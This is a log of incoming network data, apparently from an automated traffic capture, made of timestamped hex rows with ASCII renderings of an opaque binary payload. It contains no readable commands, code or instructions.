2023-01-25 20:04:37 UTC	6412	IN	Data Raw: 03 02 03 02 03 06 0a 02 05 02 05 02 05 02 05 02 05 02 03 02 04 02 03 02 03 02 03 02 03 02 03 02 03 02 03 02 03 02 03 06 03 02 04 02 03 02 04 02 03 02 04 02 03 02 04 02 03 02 04 02 03 02 04 02 03 02 03 02 03 02 03 02 03 02 03 02 03 02 03 02 03 06 05 02 03 02 04 02 04 02 04 02 04 02 01 00 02 a0 03 00 c4 03 05 06 03 02 03 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 03 02 03 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 03 02 03 02 04 02 03 02 03 06 04 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 03 02 03 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 03 02 03 02 04 02 03 02 03 06 04 02 04 02 04 02 03 02 03 06 04 02 04 02 03 02 03 06 0a 02 05 02 05 02 05 Data Ascii:
2023-01-25 20:04:37 UTC	6428	IN	Data Raw: 03 01 0a 02 08 02 12 02 04 01 10 02 09 02 04 60 0a 03 29 00 00 04 01 06 02 29 01 26 02 1d 01 45 02 03 01 21 02 05 01 2a 02 0e 01 23 02 06 00 00 68 04 30 03 ad 01 00 00 1d 04 0f 02 99 02 00 00 1d 02 05 02 05 01 05 01 04 06 03 02 2e 05 37 02 7a 03 33 00 02 0e 50 a4 02 4f 29 00 04 db 02 00 ae 02 1d 5b 0a 5e 04 81 01 02 02 01 3f 0c 02 06 01 0a 02 0c 02 08 50 05 6e 09 5f 39 15 22 02 0f 02 03 01 0c 02 08 02 12 02 09 01 0b 02 12 02 04 6c 0a 03 28 00 00 04 01 06 02 24 01 28 02 2b 01 46 02 03 01 23 02 05 01 33 02 0e 01 23 02 05 00 00 73 04 32 03 b6 01 00 00 1d 04 05 02 41 02 f8 01 00 00 1d 02 0a 01 04 04 03 02 30 02 05 07 09 02 39 06 84 01 07 32 00 02 0e 50 f8 01 4f 01 50 0b 4f 33 00 be 02 22 02 0a 6d 0a 0d 05 84 01 09 75 37 15 22 02 0f 02 03 01 0a 02 0c 02 12 02 Data Ascii: `))&E!*#h0.7z3PO)[^?Pn_9"l($(+F#3#s2A092POPO3"mu7"
2023-01-25 20:04:37 UTC	6444	IN	Data Raw: 01 80 01 31 7f 37 00 04 9d 02 0c 1e 0b 4a 00 9c 17 20 02 09 01 05 02 05 08 05 01 0f 02 19 02 09 06 1f d1 03 05 c1 0d 0b c2 0d 08 bd 0d 0e be 0d 13 0a 01 b3 0c 10 40 02 06 07 b6 0f 2a 02 0e 05 0a b1 16 1e a8 16 14 03 36 00 00 04 01 06 02 e2 01 01 19 02 4a 01 2d 02 09 00 00 53 04 3a 03 97 01 06 2b 05 36 00 00 1d 04 1b 02 e5 01 01 68 00 00 88 01 02 05 02 0b 01 08 02 0e 01 14 06 10 01 09 05 42 0a 1e 09 4a 00 02 0e b0 01 88 01 af 01 01 b0 01 15 af 01 33 00 04 df 01 00 b8 17 20 02 07 b3 03 07 e7 0d 07 e8 0d 15 e7 0d 02 e8 0d 05 ba 03 46 03 16 03 32 00 00 04 01 06 02 a3 01 01 2d 02 05 00 00 51 04 14 02 23 01 25 03 32 00 00 1d 04 c2 01 00 00 27 02 07 02 07 01 15 02 02 01 05 01 8e 01 00 02 0a 30 6e 2f 0d 00 0a 14 05 65 06 0c 00 72 14 1c 31 02 34 1d 0c 00 00 04 01 Data Ascii: 17J @*6J-S:+6hBJ3 F2-Q#%2'0n/er14
2023-01-25 20:04:37 UTC	6460	IN	Data Raw: 1e 06 02 06 02 04 7f 06 05 0d 00 00 6a 04 49 00 00 13 04 a0 01 00 00 17 02 0a 02 02 03 58 04 15 01 10 01 13 00 c2 02 05 02 1f 00 00 05 04 1f 00 02 04 30 6e 2f 01 30 27 2f 01 30 6a 00 ce 02 13 02 04 5a 09 06 0a 02 02 1d 05 43 0f 02 33 04 28 03 24 04 0a 05 05 44 09 02 0b 1e 06 02 06 02 04 61 06 05 0d 00 00 a3 01 04 62 00 00 13 04 f2 01 00 00 17 02 15 02 05 03 9d 01 04 14 01 10 01 13 00 02 04 30 62 2f 01 30 28 2f 01 30 59 00 08 e9 01 00 e0 02 13 02 04 48 09 06 0a 02 02 1d 05 31 0f 02 27 04 29 03 17 04 0a 05 02 32 09 02 0a 1e 06 02 06 02 04 4f 06 05 0d 00 00 98 01 04 51 00 00 13 04 d6 01 00 00 17 02 15 02 05 03 82 01 04 13 01 10 01 13 00 02 0e 70 da 01 6f 29 00 08 91 02 00 fe 02 27 02 0c 02 1d 02 0a 01 02 02 05 01 0c 02 09 04 11 03 02 02 17 02 0a 01 02 02 05 Data Ascii: jIX0n/0'/0jZC3($Dab0b/0(/0YH1')2OQpo)'
2023-01-25 20:04:37 UTC	6476	IN	Data Raw: 1c 03 14 00 00 09 01 06 02 e3 01 01 07 02 c6 01 01 07 02 9d 01 01 0f 02 05 00 00 50 02 2f 02 41 02 20 02 57 02 34 09 14 0c 2e 02 56 03 34 09 40 00 00 26 04 11 03 90 04 04 30 00 00 42 02 09 01 02 02 08 01 8b 01 04 5c 03 02 04 2d 03 42 06 5b 05 02 06 2d 05 40 00 24 5b 00 70 14 02 15 06 12 03 0f 03 11 00 24 17 05 03 06 07 68 2e 67 48 00 ee 01 14 02 03 6e 03 6d 07 6d 2e 74 18 03 1c 03 14 00 02 0e 70 ef 02 6f 01 70 19 6f 2e 00 24 c5 03 00 fe 01 22 02 0a 01 05 08 05 02 09 01 05 08 05 05 2d 06 0a 05 02 06 05 05 08 02 dd 01 04 12 0b 1a 03 2d 00 00 04 01 06 02 bd 01 01 18 02 15 01 18 02 15 01 18 02 09 01 23 02 33 01 23 02 0a 00 00 31 04 3d 02 86 02 05 51 00 00 22 04 0f 02 cd 02 01 47 00 02 0e 50 af 02 4f 01 50 0d 4f 01 50 17 4f 15 00 24 20 05 03 06 0b 1a 12 19 b8 Data Ascii: P/A W4.V4@&0B\-B[-@$[p$h.gHnmm.tpopo.$"--#3#1=Q"GPOPOPO$
2023-01-25 20:04:37 UTC	6492	IN	Data Raw: 00 65 02 1b 02 19 03 07 04 35 03 69 02 28 01 07 04 e1 01 02 1f 02 32 01 1c 05 07 04 49 03 81 01 0a 2e 05 3b 03 6b 04 6b 03 07 04 50 03 31 00 00 26 04 08 02 2e 02 79 01 29 04 68 03 a5 03 04 ea 01 03 de 02 00 00 99 01 02 1e 01 af 01 04 1e 03 91 01 06 02 05 1b 06 73 05 16 08 1e 07 b4 02 0a 4a 09 02 0c 1e 0b 54 0e 1e 0d 6a 00 02 19 b0 04 99 01 af 04 01 b0 04 ab 02 af 04 01 b0 04 13 af 04 01 b0 04 e2 04 af 04 01 b0 04 3c af 04 01 b0 04 39 af 04 01 b0 04 39 af 04 29 00 44 77 24 20 23 8e 02 24 1e 23 e4 01 06 21 05 8e 03 24 21 23 1c 24 1e 23 1c 24 1e 23 44 00 dc 01 41 02 19 08 1b 02 02 6f 20 68 1c 46 03 3d 10 04 15 02 28 06 05 2c 9d 01 a7 01 1e 78 1c 36 14 05 18 2b 0f 02 15 02 22 06 1b 02 21 06 15 02 05 b2 07 21 af 07 06 08 22 02 05 02 05 03 1c 02 13 06 ad 01 06 Data Ascii: e5i(2I.;kkP1&.y)hsJTj<99)Dw$ #$#!$!#$#$#DAo hF=(,x6+"!!"
2023-01-25 20:04:37 UTC	6508	IN	Data Raw: 60 06 5f 14 60 18 00 02 40 32 20 31 05 32 13 31 05 32 13 31 3c 32 14 31 02 32 13 31 4a 00 04 40 8a 01 20 89 01 05 92 01 13 91 01 05 96 01 13 95 01 3c ae 01 14 ad 01 02 9a 01 13 99 01 4a 00 00 04 01 06 02 89 02 01 0f 02 1d 00 00 73 04 90 01 03 0a 04 06 03 2c 00 00 29 04 96 02 00 00 40 02 20 01 05 02 13 01 05 02 13 01 3c 02 14 01 02 02 13 01 4a 00 02 0e b0 01 4f af 01 01 b0 01 4e af 01 19 b0 01 18 00 02 31 04 19 6e 0a 71 0a 04 46 03 39 00 04 31 ae 03 18 0a 01 f3 02 0a 43 0a ae 03 2a 02 07 01 0b 04 0a b1 03 39 00 00 04 01 06 02 a2 01 01 0f 02 22 00 00 4f 04 05 03 52 04 06 03 31 00 00 29 04 b4 01 00 00 31 02 19 02 0a 03 0a 02 46 01 39 00 02 0a 30 5e 2f 01 30 06 2f 16 30 11 00 02 28 04 1e 03 02 04 01 6e 0a 71 43 00 04 28 e2 03 0a 02 14 e3 03 02 e8 03 01 a3 03 Data Ascii: `_`@2 12121<2121J@ <Js,)@ <JON1nqF91C*9"OR1)1F90^/0/0(nqC(
2023-01-25 20:04:37 UTC	6524	IN	Data Raw: 01 13 02 3a 01 15 02 05 00 00 89 01 04 50 02 80 01 05 1a 00 00 38 04 bb 02 00 00 75 02 04 01 10 02 05 01 e5 01 00 9a 17 4c 00 02 16 f0 02 8c 04 ef 02 1b 00 54 bd 04 00 a2 17 53 02 20 6e 06 6b 05 02 08 02 18 02 08 02 05 02 18 02 09 02 24 02 24 02 21 02 21 02 0e 02 09 02 29 04 27 06 0e 02 11 04 0f 04 38 31 1a 00 00 09 01 06 02 1f 01 25 02 04 01 1c 02 84 03 01 41 02 05 00 00 26 04 97 04 00 00 73 02 06 01 c4 03 00 02 0e b0 01 c9 01 af 01 01 b0 01 1d af 01 1a 00 54 4e 03 04 04 0a 03 09 04 aa 01 00 de 17 3b 02 13 b7 16 04 b6 16 05 02 05 a9 16 09 ac 16 05 04 05 03 26 04 61 07 19 00 00 5c 04 61 02 39 05 19 00 00 24 04 eb 01 00 00 4e 02 04 01 0a 02 09 01 aa 01 00 e2 17 4c 00 02 0e c0 01 83 02 bf 01 01 c0 01 51 bf 01 01 c0 01 51 bf 01 01 c0 01 54 bf 01 01 c0 01 23 Data Ascii: :P8uLTS nk$$!!)'81%A&sTN;&a\a9$NLQQT#
2023-01-25 20:04:37 UTC	6540	IN	Data Raw: 03 d8 01 08 13 06 c1 01 0f cf 01 05 ac 03 31 db 01 05 dc 01 05 db 01 05 dc 01 10 db 01 05 dc 01 25 0d 07 0e 0a d5 01 0a c4 01 14 cb 01 14 00 e0 02 18 02 17 45 16 50 0a 0b 13 00 e2 02 21 02 2d 02 01 bb 01 12 92 03 06 06 0b dd 01 05 e4 01 0f cf 03 1e d2 03 22 e7 01 03 e8 01 08 04 06 e9 01 0f ea 01 14 d5 03 1e d8 03 22 ed 01 03 ee 01 08 13 06 d7 01 0f b9 01 05 ac 03 31 f1 01 05 f2 01 05 f1 01 05 f2 01 10 f1 01 05 f2 01 25 0d 07 0e 0a eb 01 0a da 01 14 e1 01 14 00 d2 02 1c 02 0e 89 01 01 f2 02 0a 06 11 ef 01 05 02 0a f4 01 10 cf 03 1e d2 03 23 f7 01 03 f8 01 08 04 0b 08 05 07 13 d5 03 23 d8 03 33 06 86 01 0d 04 0e 0a ff 01 0a ee 01 14 f1 01 14 00 c0 02 18 02 17 2f 16 36 0a 07 13 00 c2 02 1c 02 0e 79 01 f2 02 0a 06 11 ff 01 05 02 0a 84 02 10 cf 03 1e d2 03 23 Data Ascii: 1%EP!-""1%##3/6y#
2023-01-25 20:04:37 UTC	6556	IN	Data Raw: 13 08 df 13 19 e0 13 17 8f 16 17 95 01 0f 06 1f a8 17 0c a7 17 03 a8 17 04 a7 17 10 a8 17 13 02 16 a9 17 06 03 0e b2 03 14 e4 13 14 00 b6 18 1c 02 08 ed 16 01 f2 02 0a 06 0b f4 13 05 02 0a ef 13 0c cf 03 22 d2 03 22 ec 13 03 eb 13 09 04 0b 08 05 07 13 d5 03 1e d8 03 2f 06 84 01 0d 04 0e 0a e4 13 0a f5 13 15 f2 13 14 00 02 0e 70 ae 01 6f 33 00 5a 50 44 33 43 0b 44 14 43 08 44 03 43 42 00 c6 18 1d 02 16 02 03 01 08 02 12 91 18 07 14 02 0b 27 0c 03 80 18 06 02 04 c7 17 01 86 01 14 c2 16 02 02 06 8d 16 03 8c 16 04 01 0c 05 32 00 00 04 01 06 02 1b 01 1c 02 7c 01 2d 02 05 00 00 98 01 04 25 03 32 00 00 1d 04 d2 01 00 00 50 04 07 01 02 02 27 01 03 01 0a 06 01 02 14 07 08 0a 03 09 42 00 02 0e f0 01 47 ef 01 01 f0 01 89 04 ef 01 02 f0 01 91 04 ef 01 14 00 5a 86 09 Data Ascii: ""/po3ZPD3CDCDCB'2\|-%2P'BGZ
2023-01-25 20:04:37 UTC	6572	IN	Data Raw: 07 05 01 09 0a 08 09 05 04 3d 07 35 23 32 00 00 09 01 06 02 ac 02 01 24 02 f5 04 01 24 02 ff 02 01 2d 02 05 00 00 69 04 46 02 c5 01 02 28 02 26 02 1a 02 25 01 2c 04 21 02 b7 03 02 1f 02 25 02 6e 02 67 01 59 17 32 00 00 35 04 20 03 d4 0a 00 00 89 01 02 2b 01 a0 03 04 25 03 b0 06 00 fe 02 4c 00 02 0a 10 3c 0f 08 00 18 4e 00 18 12 02 2c 02 09 03 07 00 00 04 01 02 02 0c 01 2c 02 09 01 05 02 02 00 02 0e e0 01 33 df 01 01 e0 01 09 df 01 01 e0 01 82 04 df 01 0a 00 18 df 01 14 0a 13 ef 02 00 20 18 02 0d 02 05 06 0e 03 0a 38 0a 33 14 02 13 01 14 08 19 02 05 09 0f 0c 05 03 05 08 1b 04 05 01 01 52 0a 4f 0a 13 0f 16 05 12 92 01 08 19 07 02 08 05 07 02 08 16 07 02 08 16 07 02 08 1b 07 05 27 0f 2a 02 06 09 2f 29 09 0a 00 00 04 01 06 02 c4 04 01 05 02 05 00 00 1d 02 1b Data Ascii: =5#2$$-iF(&%,!%ngY25 +%L<N,,3 83RO'*/)
2023-01-25 20:04:37 UTC	6588	IN	Data Raw: 2a 05 12 05 0d 02 03 05 01 02 02 05 08 1d 02 03 33 03 0c 05 30 03 3b 0a 3c 07 02 0a 0b 0d 21 0d 0b 0d 01 10 07 32 00 00 04 01 06 02 fc 03 01 2d 02 05 00 00 ae 01 02 a9 02 02 2f 03 32 00 00 18 04 05 02 9b 04 00 02 0e d0 01 59 cf 01 01 d0 01 d9 03 cf 01 01 d0 01 10 cf 01 01 d0 01 73 cf 01 14 00 04 23 14 17 13 e3 01 02 0a 01 77 02 2d 01 9a 01 02 13 01 62 00 a0 07 1d 06 06 a5 06 04 04 13 b0 06 0c 02 05 01 11 0c 02 07 0a 08 0c df 02 13 02 3a 9e 01 43 c2 01 06 0c 09 0a 0a d7 05 0a d8 05 06 02 1a 02 06 04 05 0c 06 09 02 04 11 04 09 29 05 3a 05 0d 20 cb 04 0f 02 10 06 0e c6 04 04 0c 0a 13 05 14 05 39 05 2e 02 02 0f 8f 03 05 e0 02 0a 26 05 14 05 07 05 08 0e 02 08 33 0b 02 0a 36 07 02 0a 07 12 d5 04 13 b6 04 0d d9 01 17 9d 01 18 01 12 c0 02 14 00 00 04 01 06 02 bc Data Ascii: *30;<!2-/2Ys#w-b:C): 9.&36
2023-01-25 20:04:37 UTC	6604	IN	Data Raw: 26 40 11 00 00 04 01 02 02 30 01 23 02 13 00 00 27 04 0f 03 36 00 02 0e 60 e6 01 5f 29 60 18 00 02 38 04 07 03 05 04 42 03 03 04 62 03 4a 00 04 38 c8 09 02 0a 05 d1 09 05 d2 09 05 07 39 01 04 c7 09 03 ca 09 08 04 06 04 0a 03 25 02 08 02 1d d1 09 4a 00 00 04 01 06 02 68 01 22 02 14 01 1e 02 0c 01 19 02 0a 01 23 02 1d 00 00 58 04 49 03 94 01 00 00 33 04 16 02 58 01 94 01 00 00 38 02 07 01 05 02 42 01 03 02 62 01 4a 00 02 0a 30 24 2f 1b 30 11 00 00 04 01 02 02 29 01 18 02 13 00 00 1d 04 12 03 2b 00 00 1d 04 3d 00 02 0a 30 24 2f 1a 30 11 00 02 59 00 00 04 01 02 02 29 01 17 02 13 00 00 1d 04 12 03 2a 00 00 1d 04 3c 00 02 0a 40 26 3f 26 40 16 00 00 04 01 02 02 2b 01 23 02 18 00 00 22 04 0f 03 3b 00 00 22 04 4a 00 02 16 f0 02 80 05 ef 02 0f 00 b6 01 26 04 52 10 Data Ascii: &@0#'6`_)`8BbJ89%Jh"#XI3X8BbJ0$/0)+=0$/0Y)*<@&?&@+#";"J&R
2023-01-25 20:04:37 UTC	6620	IN	Data Raw: 04 ef 09 24 76 04 75 4c 76 03 86 09 01 85 09 09 75 05 76 5e 88 09 0f 0d 24 00 00 04 01 06 02 db 01 01 23 02 30 01 1d 02 2f 01 1f 02 05 00 00 38 04 6a 01 1f 01 66 06 4e 01 0f 03 24 00 00 18 04 54 02 25 05 30 06 e7 01 00 00 31 02 1e 01 1e 04 20 03 04 04 24 02 04 01 4c 02 03 05 01 06 09 01 05 02 5e 05 33 00 ac 24 14 02 03 a3 0c 02 a6 0c 19 a3 0c 14 a0 0c 11 00 2a 0b 00 b8 24 04 cd 0e 06 ce 0e 01 00 00 04 02 06 01 01 00 c0 24 04 d5 0e 03 d6 0e 01 00 c8 24 04 dd 0e 06 de 0e 01 00 02 0e f0 01 97 02 ef 01 01 f0 01 8c 02 ef 01 01 f0 01 3a ef 01 01 f0 01 57 ef 01 01 f0 01 5a ef 01 01 f0 01 6c ef 01 01 f0 01 0c ef 01 4c 00 2a 86 03 8a 02 0b 89 02 d5 04 00 ce 24 45 02 0c 02 15 04 0e 12 0c fd 0e 04 fe 0e 06 d6 05 0d d3 05 1c da 05 33 d9 05 0f 02 19 02 18 0a 1b 8d 0f Data Ascii: $vuLvuv^$#0/8jfN$T%01 $L^3$$$$:WZlL$E3
2023-01-25 20:04:37 UTC	6636	IN	Data Raw: aa 73 01 a9 73 05 02 06 aa 73 04 db 73 1e e2 73 05 03 09 02 07 02 3b 02 06 06 0a 03 18 11 1f 00 00 04 01 06 02 3a 01 21 02 2b 01 1e 02 30 01 20 02 28 01 19 02 06 00 00 d7 01 04 2d 03 18 06 0a 05 1f 00 00 18 04 9b 01 02 92 01 00 00 24 02 1c 01 04 04 21 02 1b 05 01 06 0b 05 04 08 1e 07 97 01 00 02 16 a0 02 88 06 9f 02 01 a0 02 28 9f 02 1e 00 2a 60 0b 04 0c 04 0b 0a 0c e1 04 0b 11 0c 04 0b 0a 0c 73 00 bc 88 01 35 2c 08 2b 05 2c 03 29 1b 95 87 01 04 94 87 01 04 85 87 01 05 8a 02 05 80 85 01 08 02 04 01 18 02 11 02 2e 06 34 1e 03 1d 08 02 26 02 0b 02 34 18 03 17 09 08 0c 04 1a 9b 15 15 9e 15 35 02 11 02 62 fa 0d 01 08 09 02 01 0a 1e 89 0e 0f 02 32 06 01 b5 85 01 0d 02 04 b6 85 01 04 af 85 01 0a b0 85 01 2d 29 29 09 1d 00 00 09 01 06 02 e1 01 01 27 02 49 01 28 Data Ascii: sssss;:!+0 (-$!(*`s5,+,).4&45b2-))'I(
2023-01-25 20:04:37 UTC	6652	IN	Data Raw: 2c 5f 15 00 a8 01 fb 01 56 0a 55 37 00 8a 03 20 02 14 04 16 04 17 04 16 04 16 04 16 04 16 04 16 04 16 04 16 e7 02 0a ec 02 23 29 14 00 00 04 01 06 02 9e 02 01 0f 02 05 00 00 80 02 02 28 01 14 00 00 18 04 a4 02 00 00 fb 01 02 0a 01 37 00 a8 01 0d 00 f0 03 0d 00 02 0e 80 02 8b 02 ff 01 01 80 02 a6 01 ff 01 01 80 02 15 ff 01 19 00 a8 01 35 56 1a 55 43 2c 55 2b 02 2c 27 2b 29 2c 55 2b 02 2c 27 2b 38 00 f4 03 20 02 09 01 08 08 04 b3 03 1a b6 03 1d 06 26 25 21 02 34 24 02 1f 27 20 0a 03 1f 21 21 02 34 20 02 1b 27 1c 0a 07 16 03 18 00 00 04 01 06 02 9a 01 01 07 02 a0 01 01 07 02 85 01 01 13 02 05 00 00 3d 02 38 02 1d 02 50 02 2e 07 29 0a 50 01 2e 07 38 00 00 18 04 19 03 90 03 04 2e 00 00 35 02 1a 01 43 04 55 03 02 04 27 03 29 06 55 05 02 06 27 05 38 00 02 16 b0 Data Ascii: ,_VU7 #)(75VUC,U+,'+),U+,'+8 &%!4$' !!4 '=8P.)P.8.5CU')U'8
2023-01-25 20:04:37 UTC	6668	IN	Data Raw: 00 bc 1e 4c 00 02 0a 60 79 5f 15 00 8c 01 30 6d 04 6e 0a 6d 0c 6e 0d 6d 13 6e 04 6d 05 6e 25 00 c6 1e 14 02 1c 9f 1d 04 9e 1d 05 02 05 91 1d 07 8a 02 05 8a 1b 0c 02 01 93 1b 0f 02 04 90 1b 04 89 1b 05 8e 1b 11 07 14 00 00 04 01 02 02 7e 01 0f 02 05 00 00 3e 04 30 02 16 05 14 00 00 30 02 04 01 0a 02 07 02 05 03 0d 04 13 03 04 04 05 03 25 00 02 16 c0 02 9e 03 bf 02 01 c0 02 36 bf 02 33 00 8c 01 80 01 6d 05 6e 19 6d 07 6e 7a 81 01 3a 82 01 c5 01 00 d4 1e 61 02 1f ad 1d 05 ac 1d 05 02 05 01 0f 9d 1d 07 a2 1d 05 08 05 05 05 06 0a 07 29 02 0f 02 12 02 08 02 0f 87 1c 0c 02 17 8e 04 02 99 04 03 9a 04 08 99 04 07 9a 04 03 f8 17 02 02 16 04 7b 11 32 00 00 09 01 06 02 dd 03 01 2d 02 05 00 00 9e 01 04 b1 01 03 15 06 88 01 05 32 00 00 3d 04 e1 03 00 00 80 01 02 05 01 Data Ascii: L`y_0mnmnmnmn%~>00%63mnmnz:a){2-2=
2023-01-25 20:04:37 UTC	6684	IN	Data Raw: 30 11 03 12 17 11 89 05 02 08 01 8a 02 00 02 0e a0 01 fa 03 9f 01 01 a0 01 8b 01 9f 01 01 a0 01 32 9f 01 28 00 0a ef 05 00 b2 0c 18 40 05 3d 1c 01 05 08 03 02 05 02 22 34 03 33 08 22 03 1f 09 02 01 8d 0a 0e 88 0a 05 85 0a 12 04 0a 8a 0a 05 89 0a 15 02 04 01 06 b8 0a 03 b7 0a 08 02 08 88 0a 0f 02 06 04 03 02 1b 17 04 3e 03 25 0a 14 03 13 05 02 06 04 04 9d 0a 09 06 05 98 0a 05 9b 0a 0f 04 05 a6 0a 05 a5 0a 05 02 05 01 11 02 04 01 06 b8 0a 03 b7 0a 08 02 0d a4 0a 03 0b 02 0d 04 12 2e 02 1d 06 10 06 06 02 71 02 05 02 03 06 0d 09 13 0d 08 01 0c 19 0b 0b 28 00 00 04 01 06 02 50 01 1c 02 46 01 2d 02 1a 01 2f 02 44 01 2f 02 a2 02 01 23 02 05 00 00 41 02 3e 01 1e 04 bc 01 02 7e 02 32 07 52 08 3d 02 10 09 03 0a 1c 09 28 00 00 18 04 05 02 21 02 cb 03 01 9f 01 02 47 Data Ascii: 02(@="43">%.q(PF-/D/#A>~2R=(!G
2023-01-25 20:04:37 UTC	6700	IN	Data Raw: 1e 04 1d 03 1e 14 01 02 1b 06 1c 02 02 03 1d 06 1c 02 02 03 01 01 04 3f 1f 8e 03 20 10 01 16 1d 0a 1a 10 01 13 17 b5 03 14 10 01 16 11 b8 03 0e 10 07 18 05 e8 01 0c 1b 01 16 07 16 01 41 00 02 16 a0 03 54 9f 03 01 a0 03 11 9f 03 01 a0 03 b0 01 9f 03 01 a0 03 11 9f 03 02 a0 03 4b 9f 03 01 a0 03 0f 9f 03 01 a0 03 b2 04 9f 03 16 00 0e e5 07 00 a6 07 26 02 09 08 1d 02 0b 08 02 05 12 09 12 10 1e 02 21 02 06 0a 06 02 23 06 06 02 06 02 11 11 06 07 0e 12 12 0e 13 33 08 40 05 06 05 04 05 02 01 cd 04 19 c8 04 07 c7 04 02 a0 04 12 32 10 d1 04 21 02 0a 04 02 01 06 04 62 03 06 03 08 04 05 06 0a 02 4d 02 a2 01 0d 0a 0e 14 05 05 07 0f 0e 02 0d 1c 0e 0b 01 0c 03 0b 9e 04 0b 0d 0b 0b 09 09 16 00 00 09 01 06 02 fb 03 01 28 02 4e 01 1c 02 5f 01 77 02 5d 01 0f 02 07 00 00 c9 Data Ascii: ? ATK&!#3@2!bM(N_w]
2023-01-25 20:04:37 UTC	6716	IN	Data Raw: 02 9d 0f 00 00 b7 09 02 05 01 5d 02 40 01 20 04 0c 03 a0 03 04 03 03 03 04 21 03 08 04 23 01 0e 01 59 00 02 16 c0 03 b6 02 bf 03 01 c0 03 a3 01 bf 03 01 c0 03 b2 01 bf 03 01 c0 03 2d bf 03 3c 00 0e 8d 06 00 a4 0d 2e 08 06 02 16 04 02 02 08 10 10 15 1c 10 07 02 04 04 09 02 09 01 05 02 02 12 09 10 09 1f 09 0c 33 03 08 02 08 02 18 09 33 2a 24 03 05 02 05 02 0f 09 67 05 27 03 05 02 05 02 18 09 6a 20 13 33 0e 01 0c 1f 3c 00 00 09 01 06 02 c2 05 01 37 02 05 00 00 a9 02 04 a8 03 03 3c 00 00 2e 04 df 05 00 02 0e 70 b7 01 6f 01 70 0f 6f 01 70 27 6f 3c 00 0e b9 02 00 82 0e 20 06 3b 02 06 04 02 0a 06 08 03 05 02 0a 06 0a 06 01 03 05 03 11 0b 02 04 22 02 07 15 27 05 28 1b 12 10 11 1a 27 0d 05 3c 00 00 04 01 06 02 f3 01 01 37 02 05 00 00 ae 01 04 4f 03 3c 00 00 1d 04 Data Ascii: ]@ !#Y-<.33*$g'j 3<7<.popop'o< ;"'('<7O<
2023-01-25 20:04:37 UTC	6732	IN	Data Raw: 01 e0 01 12 df 01 01 e0 01 29 df 01 02 e0 01 32 df 01 47 00 04 35 16 01 15 1e 16 03 16 30 2b 05 2c 07 2b 02 2c 2b 2b 05 2c 0c 2b 1c 16 0f 15 02 16 04 15 02 16 0a 15 02 16 09 15 02 16 03 15 2c 16 06 15 04 16 05 15 07 16 09 15 02 16 03 15 02 16 08 15 02 16 03 15 42 16 04 15 09 16 03 15 05 16 0a 15 78 16 04 14 17 29 10 16 08 14 1c 29 55 00 94 08 35 80 11 01 fd 10 0e 06 06 0c 0a e9 03 03 fd 03 02 02 2e e8 07 05 e7 07 07 e8 07 02 e3 07 2b e4 07 05 e3 07 0c e4 07 12 11 0a b8 0e 04 06 02 03 06 02 03 b9 0e 02 be 0e 04 bd 0e 02 c0 0e 06 02 04 c1 0e 02 c4 0e 06 02 03 c5 0e 02 ca 0e 03 c9 0e 22 02 0a 86 20 04 0a 02 8f 20 04 88 20 02 02 03 87 20 07 8a 20 06 02 03 8b 20 02 90 20 03 8f 20 02 92 20 06 02 02 93 20 02 98 20 03 97 20 23 02 0a 04 0a 08 0a 02 01 c6 1e 04 c3 Data Ascii: )2G50+,+,++,+,Bx))U5.+" #
2023-01-25 20:04:37 UTC	6748	IN	Data Raw: 01 01 1c 02 05 00 00 38 02 64 02 0b 03 2d 00 00 18 04 1a 03 75 04 2d 00 02 0a 20 5b 1f 51 20 1d 00 00 04 01 02 02 60 01 4b 02 22 00 00 5a 04 0c 03 6d 00 00 7a 02 70 02 07 03 2a 00 00 18 04 5c 03 7d 04 2a 00 02 4d 00 02 0a 40 39 3f 01 40 06 3f 25 40 13 00 02 34 08 06 07 48 00 04 34 ec 0b 06 eb 0b 48 00 00 04 01 02 02 44 01 23 02 15 00 00 38 04 12 03 38 00 00 34 02 06 01 48 00 02 21 08 14 07 2d 00 04 21 d2 05 02 06 12 d7 05 2d 00 00 21 02 14 01 2d 00 02 0a 20 4f 1f 01 20 06 1f 11 20 11 00 02 2d 08 06 07 02 08 0a 07 43 00 04 2d 9e 05 06 9d 05 02 a4 05 0a a3 05 43 00 00 3a 04 26 03 22 00 00 2d 02 06 01 02 02 0a 01 43 00 02 0a 20 4c 1f 01 20 06 1f 11 20 11 00 02 2c 08 06 07 02 08 08 07 43 00 04 2c ca 03 06 c9 03 02 d0 03 08 cf 03 43 00 00 04 01 02 02 57 01 0f Data Ascii: 8d-u- [Q `K"Zmzp\}M@9?@?%@4H4HD#884H!-!-!- O -C-C:&"-C L ,C,CW
2023-01-25 20:04:37 UTC	6764	IN	Data Raw: 23 02 05 04 10 0a 08 0d 2e 04 05 0e 08 0d 08 03 02 12 08 11 08 0a 10 02 0e 2b 08 02 8d 01 09 14 16 03 04 03 03 09 02 20 01 05 04 5d 03 08 04 05 01 0d 02 06 01 05 01 05 04 78 01 05 01 0d 04 08 01 0d 02 18 01 05 0a 0c 01 0a 0a 14 02 2d 0a 14 21 16 0f 14 0f 5a 00 00 0c 01 06 02 d2 08 01 ac 01 02 9d 01 01 55 02 05 00 00 79 04 13 02 40 02 35 02 36 02 97 01 02 35 02 60 02 48 02 67 02 5c 02 bb 01 02 96 02 02 4a 03 24 17 5a 00 00 31 04 30 02 a6 0b 00 fe 0e 14 02 1d 01 11 00 02 0e 90 01 7a 8f 01 01 90 01 0d 8f 01 29 00 06 bf 01 00 86 0f 27 02 1e 06 44 03 0e 03 28 00 00 04 01 06 02 47 01 20 02 26 01 23 02 05 00 00 38 04 5f 03 28 00 00 22 04 05 02 98 01 00 02 19 d0 18 b3 34 cf 18 01 d0 18 a7 01 cf 18 01 d0 18 a0 01 cf 18 01 d0 18 a0 01 cf 18 01 d0 18 a0 01 cf 18 01 Data Ascii: #.+ ]x-!ZUy@565`Hg\J$Z10z)'D(G &#8_("4
